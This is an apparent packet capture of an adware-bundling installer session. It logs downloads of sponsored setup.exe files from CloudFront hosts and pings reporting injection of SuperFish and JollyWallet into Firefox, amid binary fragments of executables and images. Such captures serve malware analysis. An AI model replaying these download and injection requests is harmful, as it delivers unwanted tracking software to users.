bold 1.2em Arial, sans-serif;..        margin:10px 30px 0 0;..    <<< skipped >>>

GET /images/background.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; __utma=106045591.350837813.1424743400.1424743400.1424743400.1; __utmb=106045591.2.10.1424743400; __utmc=106045591; __utmz=106045591.1424743400.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt_gwo=1; __utmt=1; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354; softpixel=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:03:00 GMT

Content-Type: image/png

Content-Length: 292513

Last-Modified: Tue, 11 Dec 2012 17:31:30 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR...L.........4?.^....tEXtSoftware.Adobe ImageReadyq.e&
lt;..vCIDATx....w.6.%....$..g.._....rc....X...).{..9N..*[email protected]..
.|A...^.~....w....;Y........,..".`..........zz......p......L....N.....
.......[.........\g.S..^.C{:.....Z..AP.}.k.z.5..............e.ycZ.?.O.
.....x..~..S.....L./[email protected]._....mI?...F_....?.....7........&l
t;...B..a.>...$..?.[g.....v...~t. ,=fw.~...,...Y..W.......rD... ..)
...Zu$..._~.....(.:....m...x<..... =8.a..:.....u..V.r..Z..TT.....,.
v....h......\....r...MK...........|!....t..u.....{.i......hQ/o..b.....
.........7j.N.....F &..]D6.m.ir............v....r....s.....Y?.....|.%.
.L.../..y.z.)..v.}~.V[..y..L.....=..9....ev.&...p..J..oA}U..t..v..}}..
n.pD.....Y$;......\....}....z.....{w.rD..w.8.:..%..m{y'u.....^...t:.s.
r.......ev.cq;......"\C...~.v:..x....%...9...mY...&W%.g....[.zR.......
.\...2.........Dl.M........@M..~.~._.W......G....2..}..;.B3.u......{.t
...Bo.......8...w/..Y.4.:,........E~a.....vu.7^.xS..4.5.........6@...]
..[U.D...6...c.|...w.7.|9.Y...\xy...w.c.mPg3..........?..^...y........
..E.......VU......g5.n.P....JN.......w^...G...n..[W./....e......Tm.I?.
..(.........v{H!.....)..v;..\-^y@re.#...5`....~.....e#...T1......i.5.C
......n..xpI..:...........W.uU...4.'..#.. .j.....]:..E .O...B|R2.b.gEY
.r.....1_..~.'.8........x.A.;Enmo..}...(IR.d..:[email protected]
....w.<i[!..........:Ul.....J..T-u...w.j..m..._V.pFCG..........7...
.E%.......>C|.Gp>.....v;wO.o....u(....hZ.........@..|;F...Z..x..
$....;.._..W.t.bn...xq-...ZRp.^6Z....=..,...d..w..zvs.f..;P.{Xq.0.<<< skipped >>>

GET /images/logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: image/png

Content-Length: 12939

Last-Modified: Wed, 24 Nov 2010 17:54:48 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR...'...n.....ez.Q....tEXtSoftware.Adobe ImageReadyq.e&
lt;..2-IDATx..}...U.....B.H......}i.....tvW......Gz..(:....8.....4..%3
[email protected]. ......;.?w...Tx.2]..Su....V.c&.N~...Su..s...s.=.\..:I
(....m.JX.PB..JB........L...$..aK. ....L..N$.P...&`...0\....%...l..4|L
......$.P.N.....,.HN.%......F.#...&\I(...f.....\.K$...J.i..i..;}O"9%..
....*..3?BC2.l2.Z.>....4@ x.u...L...<.......DBL...N[..a.R"QJ{...
...$. ...Ab.?a..U...&.@r&..4....p..........x2..4.`..!.`D.^..[;...k....
.F.*.T-.G.0!..!..t.....Jh......P7h..g..v......&..P....'O....B.j#.T9.0.
...2...bu......J.U...:.A........ .....b..).....F(A..H.....`......0...v
{....V........]...}[email protected] .......v..p@U.....".L..&..D.!`....
&...^..=......A....L&(.d.s......./!...2...01i.U.(..fJ..v..d......~..f.
pe..&..%.P.. ...,..E.. %[email protected]....$..gj&.X.....J..........0......@.[.
k..k.T...F.m!..g...PJ.............p........L..\.Tt".R.(....j:...eG...Y
.......M.AC..H\...}...8.8E..r...].O..<.1UOjIx....n..I W.m(...R...x.
.L,ON.b/......<..(.J....--9...Q.T.M ./.t.!.U...:...P..iV...x..q..8.
Z....qy..a.........O.=.-.R...Ro9b..VvN.l........eV..$......pw...L.#~..
|..M.e.}.........G.?..(.q.../[email protected] ..d.k...0......U... =eY. ..i.%.
..D.>V.%..Y.zn~...0.}AjNF..C........h. P6N......<^Pf............
Y>.A.<@..c.uLm..M...;..-y...A..6h.........Q.....d.....H......P..
R..u-.m..vLm~d..9M.'@"N.9\}...y...G......m*{..T..1;..-...e...&..:..\.&
..6..{..Ky.*[.H.7....q.."..._!YCmL....5.,z...D.y...X<..F.r........E
.%.`.um...l.\.....T- O..}.EI).=Q...);..M..}.Y6.9.y......`!..(...{.<<< skipped >>>

GET /images/orange-bar.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; __utma=106045591.350837813.1424743400.1424743400.1424743400.1; __utmb=106045591.2.10.1424743400; __utmc=106045591; __utmz=106045591.1424743400.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt_gwo=1; __utmt=1; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354; softpixel=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:03:00 GMT

Content-Type: image/png

Content-Length: 177

Last-Modified: Wed, 24 Nov 2010 17:54:48 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR..............v......tEXtSoftware.Adobe ImageReadyq.e&
lt;...SIDATx...... ..l..}...]......W';..W.Y..4...(0..?:.;d........S@QU
d.(.j.QJ;v...}=Wp.......(.&.....IEND.B`.HTTP/1.1 200 OK..Server: nginx
..Date: Tue, 24 Feb 2015 02:03:00 GMT..Content-Type: image/png..Conten
t-Length: 177..Last-Modified: Wed, 24 Nov 2010 17:54:48 GMT..Connectio
n: keep-alive..Accept-Ranges: bytes...PNG........IHDR..............v..
....tEXtSoftware.Adobe ImageReadyq.e<...SIDATx...... ..l..}...]....
..W';..W.Y..4...(0..?:.;d........S@QUd.(.j.QJ;v...}=Wp.......(.&.....I
END.B`...

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:55:18 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Sun, 22 Feb 2015 05:05:18 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 448

X-Cache: Hit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u_0JXsgYk5U-0DjX4M-S-PCMCRQRxfb9fUQtqMcQnqPVBG6MNXKgOg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=appshat_madness&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.02998318422499119 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=SuperFish HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1287434

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:00:26 GMT

X-Cache: Miss from cloudfront

Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ySrppHdgHwnH9V3kVHYkg-Fr-HOhqi3yDGEtv2LY0Agh7auH36Emqw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
................................................................

GET /js/250/addthis_widget.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: s7.addthis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Thu, 19 Feb 2015 18:36:30 GMT

ETag: "638104f-2a40-50f7536e70769"

Content-Encoding: gzip

Content-Type: text/javascript

Content-Length: 4191

Accept-Ranges: bytes

Date: Tue, 24 Feb 2015 02:02:59 GMT

Via: 1.1 varnish

Age: 959

Connection: keep-alive

X-Referer-Domain: hXXp://VVV.easy-burner.com

X-Host: s7.addthis.com

X-Served-By: cache-fra1233-FRA

X-Cache: HIT

X-Cache-Hits: 11522

X-Timer: S1424743379.159173,VS0,VE0

Vary: Accept-Encoding
...........:kw.6...W..=Z..)J...*..M...Mc.Nw?...EB...P......w.....7g...
.......3.._w.,......a48.|....L..e.u.......4...n3^.;Ig..."..G.../'.....
eG..H..M..~Jx.as.DN..iQ..i..s.^...5.....TL.n.6F8.w.Y ..D..`..(@x.`....
yR...[!....iYr...2..x^...W.....z.H-....a.s.x?].......W.n........[..J..
dC..\(.o....a.M.,-...-.....lP&.p0.....*|9.....".....m-.....9... .D^$M.
Q.-..Z..r..z.....fa.o..d.-.._.{a..U..T....k..;..Wk.".....W.....Kho.d..
..p;%...........U.......Bk..]3\....~2..D&{. ..2.`.4.N..oS."..c'rM;....
.=..^<'.J......;Z*.\X0.h.{.l?#..m(:R....p.F.)...H.......BY...sL..Z.
.$.H.......`:.....K.D.)..$......I......M...'t:.?.6MD.c..'5...p:.......
..'P|.....\..a)V..... ....Y..J...tbJVT-y.K.......l.sK..I5...9C.@b..(.^
[email protected]......!...........;G........;.^*.4.9U~....w....6ml..H.OT3(y
.~/......xs.....M.iB}I.`..P.......n.M...E.&lT7...i..T-C..`V~`.(...Q...
..O.....7.J......~;.&".a......).D..z.v.RH.Q.q#...u*$.E..R.-...!.OO.za.
5 ..3........>.!....k........O.....*T@rZPE;.....I;nQ.....T.L*;.L.4.
o.Z.d. .......4]M.hM......G.,.az.....Kl.5.D....?.K.Wg.x.lN....z.It$.h.
....m%.a 0f..ha...w......|7./..N...?=e..5. ....UJ...z........4.J..Y...
..<..2]..0..7..i..^.....L#...:/....(.....`.Nd..........}......>v
UcK.......[.....I.a......u...z.tL......d...w.lm.i.Hp..d....tq..t.'....
X......?....7...^..Z.Q.t..GK Y..v'=....q.._...........h.i.-a....d..<
;......M...2S.O.......>.3..{.0...Zb.../......L...09=....M>[.....
.....).1....6!&...G!....#.}.T|.Ed...q8<'.6.$....g$7....5...3...9...
.(...G*...n.L.'W.G.....#...E:..';....m:#.H....7..-..3.?.R.)..J..."<<< skipped >>>

GET /static/r07/core201.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: s7.addthis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Wed, 18 Feb 2015 15:34:19 GMT

Content-Encoding: gzip

Cache-Control: public, no-check, max-age=86313600

Content-Type: text/javascript

Content-Length: 75495

Accept-Ranges: bytes

Date: Tue, 24 Feb 2015 02:03:00 GMT

Via: 1.1 varnish

Age: 469585

Connection: keep-alive

X-Host: s7.addthis.com

X-Served-By: cache-fra1233-FRA

X-Cache: HIT

X-Cache-Hits: 27325410

X-Timer: S1424743380.536803,VS0,VE0

Vary: Accept-Encoding
.............~.F.(....BB.e .(R.-...eYN..-.%'..........4.Q...>.9...5
T.. $;.{.......Q..5.ZS......[......n...q....(.7.$...;.csR&~...Fh.vbG..
....N..hbn&..%...]{....2....."L'.Y....pkK..X&....,,.,...........D..Z.I
..8..43.c/I.bc.%..<..8.xbt.......,K..e.O..5......d...|.....W.].....
..w.."....[......e......"...1C.`.R...Ex9.M..d.8...c.*..<v ..?).W...
V.}.x.....?E.8L..l.w:VfF8... ...\T...m.T..73....e..........^,;.......O
-...-.lm.y.E..j.J1G^.v..M..8..o.\..%.knW.....n.".7a.|..g...V..u.E...10
..}.>..P(8....m..a........v..a.xq7...[F.Q.%.....:.V#.......`...m...
...H.S!.dX.....Tv..cr....t=X... Z........|3.V.j..Vj."1..M..w..i.~.-.hR
.3.S"[......#hM....`..)L~..l.)V..Qxs:1.x...-.`.....a...om..H/..|.r0=U.
eA......F..S.Q.3/.i....H.../.}.2o..f....[d......f.$....3.k.D .....~9.l
v.............?}|s...i..%....{..N..g7Z...OW..ns ..s_.e.%.4..C..oS/8].;
...Xo.E.. ,[.P.N.......w`...4......xM..0{.A..2....'....i............:.
.C_sv.........[Im.}.........M.J.......=.....-....K...)-........I....$.
.......]...Y...C..!.].....N.^.Y...4.'........4-.2*B..s/..../..^.._....
...3/..........k..(......G.&`..e.F.-wv...g..a84`q..F.......j..l~..Wc..
.xI.hr.Y...$..&......s.*<......zb....e..................3...E.&...=
H[..YX...".|.".V.T.7]w..._K.....2...!.B}..D/z.1....t.f.^....a..b..=...
...............@%.Y`......y4...0...D........2..yb.a..5........v.^.0[..
^.*..#s..fb9..eRM.....J........?....<.....<..ex..2..0..i.......6
.Z.~....0j'.'a.!..9...Q~.z.?...."...9 R..|<9>........_...,.....Q
.S....A=]8...Oc...P..a3.......I2.{..L.8.Q........7....~-^,{..T..p.<<< skipped >>>

GET /static/r07/widget/css/widget015.top.svg.css HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: s7.addthis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Wed, 18 Feb 2015 15:34:19 GMT

Content-Encoding: gzip

Cache-Control: public, no-check, max-age=86313600

Content-Type: text/css

Content-Length: 41208

Accept-Ranges: bytes

Date: Tue, 24 Feb 2015 02:03:01 GMT

Via: 1.1 varnish

Age: 469584

Connection: keep-alive

X-Host: s7.addthis.com

X-Served-By: cache-fra1233-FRA

X-Cache: HIT

X-Cache-Hits: 25114477

X-Timer: S1424743381.121843,VS0,VE0

Vary: Accept-Encoding
[email protected]$%R.E.....o..w..$.....
.......D................:.A....].....?..:......~.a..c......m^...c.j...
.......V{$./...U.._.?.....}......w..._v..?..z.3z.}.........k.f?.l.....
.x.......S...}.[.~o.m......h.....}..{....>.4>..;.A.~T...K~..C.7.
..n.>..p..P.....A|........].............._5.m....?z..V..n..WW......
M.x.'4q7.>j>.J.n.u.{.y7j..n,o#.<}...pP/iB{..0...16|.l...|&...
...~o....... n.w;.........2z.......eS..]o(...p.Z?.k...5{..~DC....}.C.n
.0r{..........t].u.....;..o.fw.............^_......w...y...>.60..4.
.......0.}....nS...%o...|q.............. ......63&..|.yj^.v.....~.....
7.4c7z......5..5b..}2.......U}T.............f....\98~.v6Z......Y.v..&.
.T......7..a...../.......2...G...F..8.l_~Y.....=.r.5...!~P.m.........F
.U.(..7..Z....y{s..Z...5.Z......o.....YT...n.Z.... L...6..........a...
..U4x..0.!-...>..u.......w.3.......Ewt/.........EX.4.....cg/.} >
U>.W.K^lO..v...}s..m.V.X~.V.}.-.........T.su.........^....Sm<...
...;.V...l.;.?...........o3...V.,?..y].....0*...?........y......e...x\
{..I..]..w..*0Kze.'.....^. .w.$.....^q.l..W.wY..x...._....^y.^y.....jF
..4:...n.~.....vL_V....d...W........ .....~..f~...-..0.Tc.....i_.G...r
0'...JV.4.:=.....-......R.......c.,.g.sQ..u.k..j...nO.zIC.R{.R.3.->
...mat.Tjv.=......}.n...w.E..... ........_=.r..rk...zk7....N..E..7....
...o.....e-v...U..wf...g..>.........Uh}....u.>p.[ .o....D..ov.E.
.?..3........*..R...h.......OTl..3.....__eY..,m..]E....g..........yS/b
......U..D.-lG...i^q...wX x^2hU.......B.xG.I.s.,...S..h..2m/.....Z<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4KzefGCGWyhdj8GAtb3cG3wOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF8TUOAAsHP9e5tsIYcVsX8yR V 1Xe10VZdM9Mh3l9YxWyhm8g2YhvD&product=EXTFirefox&rnd=1424743305&it=0&action=Inject&text=JollyWallet HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:25 GMT..Content-Length: 0..

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnpGo= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:03 GMT

Last-Modified: Thu, 19 Feb 2015 15:18:40 GMT

Server: ECS (frf/87D3)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015021
9064611Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.j....20150204201215Z....20150519201715Z0...*.H..............~.UP..
...An.%..~?_V....fS.Z>.....6.....G&m.....].Y...O...E...C.x..c..a.U.
?..a.(.P..&.["I.:[email protected]._N4......J*.q9.t...5....)SP. .d..R.
.I.PC...2.j..h.lf..igm.a..!.a{|.....:. .............M.%"r........%"\FL
..c#.e=......[l..l`.H....Z(..W..$.... YXY.....0...0...0...........'..0
...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTrust
1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229Z0G
1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-201
10.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...04..
I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8..........h
8GM..*.4.MP..../[email protected].
...$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j.\.
>.O....G.A........0..0... .....0......0...U.......0.0...U..........
.0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`;.l
.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....j.t
%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..ud..
...CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&....
q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?....E.
..........'>..O.._..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-160816

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80409

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-160816/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FxeirjGVX8KZBZJOYV_goI2Y5Q749CsV8vGukX3QSD_OBmAaPDFSqQ==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
